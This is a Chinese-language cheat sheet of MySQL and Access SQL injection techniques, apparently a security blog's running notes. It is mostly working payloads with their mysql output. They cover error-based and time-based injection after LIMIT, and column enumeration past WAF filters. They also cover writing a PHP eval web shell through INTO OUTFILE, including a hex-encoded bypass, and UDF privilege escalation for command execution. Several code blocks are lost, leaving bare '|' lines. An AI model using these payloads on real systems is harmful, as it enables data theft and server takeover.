收集一些关于SQL注入的姿势,长期更新:D
关于mysql字段名和保留字冲突的问题
当mysql的字段名和保留字冲突的时候,sql语句中的字段名需要加上反引号`来加以区别
select \
KEY` from test
也说明可以用`来绕过空格。
注入点在limit关键字后面的利用方法
SQL语句类似下面这样:(此方法仅适用于5.0.0<mysql<5.6.6的版本)
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)
mysql 5.x 的文档中的 select 的语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE
PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议
PROCEDURE ANALYSE的语法如下:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])
max_elements (默认值256) analyze查找每一列不同值时所需关注的最大不同值的数量.
analyze还用这个值来检查优化的数据类型是否该是ENUM,如果该列的不同值的数量超过了
max_elements值ENUM就不做为建议优化的数据类型。
max_memory (默认值8192) analyze查找每一列所有不同值时可能分配的最大的内存数量v
尝试用这个存储过程
mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE支持两个参数
mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
可以使用报错注入
mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
ERROR 1105 (HY000): XPATH syntax error: ':sql'
如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替
mysql> select username from user where uid>0 order by uid limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
order by 子句后可接and和, 后的语句,而limit 后不能
注入时过滤字段名,获取不到字段名
常见的做法利用union搭配别名子查询,在不知道字段的时候进行注入。
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from user;
+---+------+--------+
| 1 | 2| 3 |
+---+------+--------+
| 1 | 2| 3 |
| 1 | a| 123456 |
| 2 | mino | 511323 |
| 3 | b| asd|
+---+------+--------+
4 rows in set (0.00 sec)
mysql> select e.3 from(select * from (select 1)a,(select 2)b,(select 3)c union select * from user)e;
+--------+
| 3 |
+--------+
| 3 |
| 123456 |
| 511323 |
| asd|
+--------+
4 rows in set (0.00 sec)
mysql> select * from user where uid=1 union select (select e.3 from(select * from (select 1)a,(select 2)b,(select 3)c union
select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h;
+------+----------+----------+
| uid | username | password |
+------+----------+----------+
| 1| a| 123456 |
| asd | 1| 1|
+------+----------+----------+
2 rows in set (0.00 sec)
如果waf拦截了information_schema、columns、tables、database、schema等关键字或函数,且限制了union
爆库名
Polygon(ls1, ls2, …)
Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL
如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
mysql> select uid from user where uid=1 and Polygon(uid);
ERROR 1367 (22007): Illegal non geometric '`sql`.`user`.`uid`' value found during parsing
除了Polygon外,其他同样能用来报错获取得到当前表名和字段的还有:
1.multiPolygon(id)
2.multilinestring(id)
3.GeometryCollection(id)
4.MultiPoint(id)
5.linestring(id)
如果再限制使用payload长度
mysql> select uid from user where uid=1-a();
ERROR 1305 (42000): FUNCTION sql.a does not exist
原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。
爆字段
mysql> select uid from user where uid=1 and (select * from (select * from user as a join user as b)as c);
ERROR 1060 (42S21): Duplicate column name 'uid'
原理:在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
同时,可以利用using爆其他字段
mysql> select uid from user where uid=1 and (select * from (select * from user as a join user as b using(uid))as c);
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select uid from user where uid=1 and (select * from (select * from user as a join user as b using(uid,username))as c);
ERROR 1060 (42S21): Duplicate column name 'password'
参考:http://www.wupco.cn/?p=4117
写shell技巧
Mysql使用十六进制编码字符串替代字符串常量
在MySQL中,可以使用select into outfile
和select into dumpfile
命令向文件系统写文件,不能重写已有的文件
outfile —- 用于导出查询得到的所有数据
(注意点:
- INTO OUTFILE不会覆盖文件
- INTO OUTFILE必须是查询语句的最后一句
- 路径名是不能编码的,必须使用单引号)
dumpfile —- 用于导出一条数据,通常写入第二条的时候出错,但第二条内容已被写入文件,允许写二进制文件(INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的)load_file—- 读取文件所有内容
windows操作系统的下反斜杠会被忽略,用正斜杆才能创建到对应的目录。
mysql> select username from user into outfile 'E:/tool/phpstudy/MySQL/123.txt';
Query OK, 3 rows affected (0.00 sec)
mysql> select username from user into dumpfile 'E:/tool/phpstudy/MySQL/111.txt';
ERROR 1172 (42000): Result consisted of more than one row
mysql> select load_file("E:/tool/phpstudy/MySQL/123.txt");
+---------------------------------------------+
| load_file("E:/tool/phpstudy/MySQL/123.txt") |
+---------------------------------------------+
| 1234
mino
a
|
+---------------------------------------------+
1 row in set (0.28 sec)
mysql> select load_file("E:/tool/phpstudy/MySQL/111.txt");
+---------------------------------------------+
| load_file("E:/tool/phpstudy/MySQL/111.txt") |
+---------------------------------------------+
| 1234mino |
+---------------------------------------------+
1 row in set (0.00 sec)
outfile 采用tab制表符,来区分字段,会转义换行符;dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
支持union的时候:
id=1 union select 1,2,'<?php @eval($_POST['c']); ?>’ into outfile ‘/var/www/html/phpinfo.php’%23
如果有过滤,可以转换成16进制绕过。
id=1 union select 1,2,0x3c3f70687020406576616c28245f504f53545b2763275d293b203f3e into outfile ‘/var/www/html/phpinfo.php’%23
如果一句话中空格被过滤掉,可以利用outfile写文件产生的制表符来绕过。
id=1 union select '<?php','@eval($_POST['c']);?>','3’ into outfile ‘/var/www/html/phpinfo.php’%23
不支持union的时候:
fields子句:在FIELDS子句中有三个亚子句:TERMINATED BY、 [OPTIONALLY] ENCLOSED BY和ESCAPED BY。如果指定了FIELDS子句,则这三个亚子句中至少要指定一个。
(1)TERMINATED BY用来指定字段值之间的符号,例如,“TERMINATED BY ‘,’”指定了逗号作为两个字段值之间的标志。
(2)ENCLOSED BY子句用来指定包裹文件中字符值的符号,例如,“ENCLOSED BY ‘ “ ‘”表示文件中字符值放在双引号之间,若加上关键字OPTIONALLY表示所有的值都放在双引号之间。
(3)ESCAPED BY子句用来指定转义字符,例如,“ESCAPED BY ‘*‘”将“*”指定为转义字符,取代“\”,如空格将表示为“*N”。
可以利用TERMINATED BY插入一句话,由于它是通过插入分隔符号来getshell的,所以必须查询结果有多个列
select * from user into outfile 'E:/tool/phpstudy/MySQL/555.php' fields terminated by '<?php phpinfo();?>';
Query OK, 3 rows affected (0.28 sec)
mysql> select load_file("E:/tool/phpstudy/MySQL/555.php");
+-----------------------------------------------------------------------------------------------------------------------------------------+
| load_file("E:/tool/phpstudy/MySQL/555.php") |
+-----------------------------------------------------------------------------------------------------------------------------------------+
| 1<?php phpinfo();?>a<?php phpinfo();?>123456
2<?php phpinfo();?>mino<?php phpinfo();?>511323
3<?php phpinfo();?>b<?php phpinfo();?>asd
|
+-----------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
id=1 or 1=1 into outfile ‘/var/www/html/phpinfo.php’ fields terminated by ‘<?php phpinfo(); ?>’%23
如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value|
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex(‘udf.dll hex code’) into dumpfile ‘c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll’;
mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略
mysql> create function MyCmd returns string soname ‘’c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll’;
mysql> select MyCmd(‘whoam’);
一点小知识点:
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
mysql> select hex(load_file (‘c:/windows/temp/xxoo.dll’)) into outfile ‘c:/windows/temp/xxoo.txt’;
如何获取该udf插件的内置 函数?
通过C32 等16进制编辑器或直接通过记事本打开看关键字 即可。
参考:http://www.cnblogs.com/qing123/p/6771858.html
基于union查询的盲注
|
|
|
|
与盲注大致相同,都是根据ASCII一位一位猜测,这是是利用MySql的字符串排序操作是从前往后一一用ascii码比对的 。我们可以控制后面的那个查询的第三个字段,让它的ASCII值最小开始变化,当查询结果第一条返回的username字段是2的时候,我们就知道这个字符的ascii码减一就是跟数据库中的相等.所以就可以一位一位的猜出来password字段了
这样的利用场景在于过滤规则严格,如过滤了括号,导致无法使用函数,过滤了需要查询的字段名
参考:http://wonderkun.cc/index.html/?cat=1&paged=7
注入点在like
搜索时没顾虑参数的,如keyword=关键字:
注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即生成语句:
select * from 表名 where 字段 like ‘%’ and [查询条件] and ‘%’=’%’
access
access数据库并不像mysql那样方便,可以拥有information_schema这个包含数据各种数据库,表以及字段信息的“新华字典”。
虽然有一个msysobjects,但是大多情况下即使管理员也没办法读取其里的信息,因为读取它需要设置权限。
测试表名
|
|
对于access数据来说,如果不能利用msysobjects的话,我们只能暴力破解表名、字段名了,而这个往往需要一个表名字典、字段名字典。并且不能提权,写shell。
updatexml报错注入为什么需要字符串拼接函数拼接特殊字符,如0x7e
updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容 。也就是说如果我们想要查询的数据是数字开头,例如 123abc ,那么查询结果只会显示 abc。所以我们会看到很多 updatexml 注入的 payload 是长这样的 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) ,在所要查询的数据前面凭借一个特殊符号(这里的 0x7e 为符号 ‘~’ )。
冷门的字符串处理函数绕过
MAKE_SET(bits,str1,str2,…)
1234567mysql> select make_set(3,'a','b','c','d');+-----------------------------+| make_set(3,'a','b','c','d') |+-----------------------------+| a,b |+-----------------------------+1 row in set (0.00 sec)
返回一个设定值 (一个包含被‘,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。
bits应将期转为二进制,如,3为,0011,倒过来排序,则为1100,将bits后面的字符串str1,str2等,放置在这个倒过来的二进制排序中,取出值为3对应的字符串,则得到’a,b’
|
|
1|4表示进行或运算,为0001 | 0100,得0101,倒过来排序,为1010,’a’,’b’,NULL,’d’得到的是a。null不取,只有1才取对应字符串
所以报错注入可以这样用
|
|
还有类似的函数:lpad()、reverse()、repeat()、export_set() (lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)
|
|
updatexml报错最多只能显示32位,需要时结合SUBSTR函数来获取数据就行了
参考:https://xz.aliyun.com/t/2160
OTHERS
skip-grant-tables这行代码意思就是跳过跳过授权表,即是可以跳过密码验证直接进入数据库
添加一个不限制IP用户名为test的用户,密码为abc
grant select,insert,update,delete on *.* to 'test'@'%' Identified by "abc";
删除用户test
drop user test@'%'
查看当前用户信息
SELECT User, Host, Password FROM mysql.user
MYSQL数据库的认证密码有两种方式,MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密,MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。
DESCRIBE
DESCRIBE 更多地用于获取表结构信息
{DESCRIBE | DESC} tbl_name [col_name | wild]
DESCRIBE is a shortcut for SHOW COLUMNS. “SHOW COLUMNS” 语法能提供更多的关于输出列的信息。
SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name] [LIKE 'pattern' | WHERE expr]
show columns form 表名 from 数据库名或者:show columns from 数据库名.表名
DESCRIBE 提供有关一个表的列信息。colname 可以是一个列名或是一个包含 SQL 通配符字符 “%” 和 “” 的字符串。这种情况下,输出结果将会是匹配到的列的信息。如果列名里边没有空字符或特殊字符,wild 没有必要使用引号。
|
|
可以判断字段是否存在
|
|
$test[0]返回的是该字段的名称,比如我要查询first字段,返回的就是first
如果此字段不存在返回的就是NULL,通过这样可以判断一个字段是否存在